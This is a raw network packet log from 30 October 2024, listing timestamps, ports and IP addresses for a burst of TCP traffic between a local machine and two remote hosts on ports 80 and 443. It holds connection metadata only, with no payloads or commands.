Oct 30, 2024 21:56:21.974807024 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.974867105 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.974895000 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.974906921 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.974942923 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.974965096 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.975011110 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.975212097 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.975246906 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.975264072 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.975287914 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.975292921 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.975332022 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.975349903 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.975361109 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.975372076 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.975405931 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.975424051 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.975476027 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.975524902 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.042063951 CET	50236	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:22.042133093 CET	443	50236	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:22.042212963 CET	50236	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:22.042481899 CET	50236	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:22.042514086 CET	443	50236	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:22.058110952 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.058185101 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.058187962 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.058198929 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.058211088 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.058221102 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.058231115 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.058240891 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.058243036 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.058301926 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.058379889 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.058391094 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.058437109 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.058617115 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.058626890 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.058684111 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.058747053 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.058789015 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.058799982 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.058799982 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.058831930 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.058860064 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.058900118 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.058950901 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.059051991 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.059062004 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.059072018 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.059104919 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.059123039 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.059123993 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.059134960 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.059145927 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.059155941 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.059164047 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.059165955 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.059199095 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.059199095 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.059264898 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.090936899 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.090948105 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.090959072 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.090967894 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.091025114 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.091051102 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.091058016 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.091061115 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.091070890 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.091098070 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.091126919 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.091222048 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.091278076 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.091305971 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.091356993 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.091368914 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.091417074 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.091422081 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.091430902 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.091464043 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.091480970 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.091658115 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.091667891 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.091677904 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.091715097 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.091730118 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.091800928 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.091850042 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.091932058 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.091980934 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.092067003 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.092075109 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.092092037 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.092101097 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.092114925 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.092144012 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.174932957 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.174948931 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.174959898 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.174971104 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.174989939 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.174999952 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.174999952 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.175009966 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.175020933 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.175033092 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.175040007 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.175077915 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.175077915 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.175106049 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.175117016 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.175127029 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.175138950 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.175148010 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.175167084 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.175192118 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.175570965 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.175714970 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.175724030 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.175749063 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.175771952 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.175777912 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.175790071 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.175798893 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.175812006 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.175828934 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.175837994 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.175847054 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.175879955 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.176302910 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.176320076 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.176331997 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.176342964 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.176362991 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.176388979 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.207665920 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.207680941 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.207693100 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.207768917 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.207782030 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.207786083 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.207794905 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.207812071 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.207834959 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.207866907 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.208153009 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.208164930 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.208175898 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.208208084 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.208210945 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.208218098 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.208224058 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.208237886 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.208256960 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.208282948 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.208498001 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.208509922 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.208523035 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.208545923 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.208573103 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.208746910 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.208758116 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.208770037 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.208781958 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.208797932 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.208822966 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.291035891 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.291052103 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.291064978 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.291129112 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.291166067 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.291176081 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.291196108 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.291208029 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.291213989 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.291218996 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.291238070 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.291245937 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.291256905 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.291260004 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.291271925 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.291295052 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.291326046 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.291635036 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.291656971 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.291668892 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.291681051 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.291692019 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.291692019 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.291718960 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.291754961 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.291754961 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.292140961 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.292196035 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.292211056 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.292222977 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.292234898 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.292246103 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.292258024 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.292258978 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.292277098 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.292311907 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.292749882 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.292762041 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.292773962 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.292787075 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.292825937 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.292825937 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.324086905 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.324098110 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.324110985 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.324153900 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.324153900 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.324191093 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.324232101 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.324259996 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.324271917 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.324312925 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.324343920 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.324387074 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.324398041 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.324402094 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.324409008 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.324428082 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.324454069 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.324454069 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.324517012 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.324568987 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.324914932 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.324928045 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.324939013 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.324969053 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.324997902 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.325190067 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.325201988 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.325212002 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.325248957 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.325279951 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.325344086 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.325355053 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.325366020 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.325377941 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.325403929 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.325433016 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.407479048 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.407495022 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.407541037 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.407541990 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.407552958 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.407556057 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.407566071 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.407574892 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.407582045 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.407589912 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.407593966 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.407603979 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.407603979 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.407627106 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.407639980 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.407797098 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.407809019 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.407820940 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.407864094 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.407879114 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.408245087 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.408266068 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.408277988 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.408288002 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.408298969 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.408299923 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.408325911 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.408353090 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.408538103 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.408550024 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.408561945 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.408581972 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.408603907 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.408688068 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.408734083 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.408890963 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.408907890 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.408932924 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.408943892 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.408943892 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.408953905 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.408955097 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.408966064 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.408972025 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.408984900 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.409013987 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.440989017 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.441004992 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.441015959 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.441020966 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.441028118 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.441036940 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.441044092 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.441052914 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.441099882 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.441142082 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.441217899 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.441227913 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.441242933 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.441252947 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.441262007 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.441263914 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.441273928 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.441278934 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.441310883 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.441708088 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.441745043 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.441756010 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.441756010 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.441795111 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.441802979 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.441812992 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.441823006 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.441838026 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.441871881 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.442277908 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.442286968 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.442325115 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.523952961 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.523967028 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.523988008 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.524000883 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.524013042 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.524024010 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.524039030 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.524051905 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.524060965 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.524072886 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.524085045 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.524185896 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:22.524754047 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.524775028 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:22.524786949 CET	80	50233	185.215.113.16	192.168.2.5
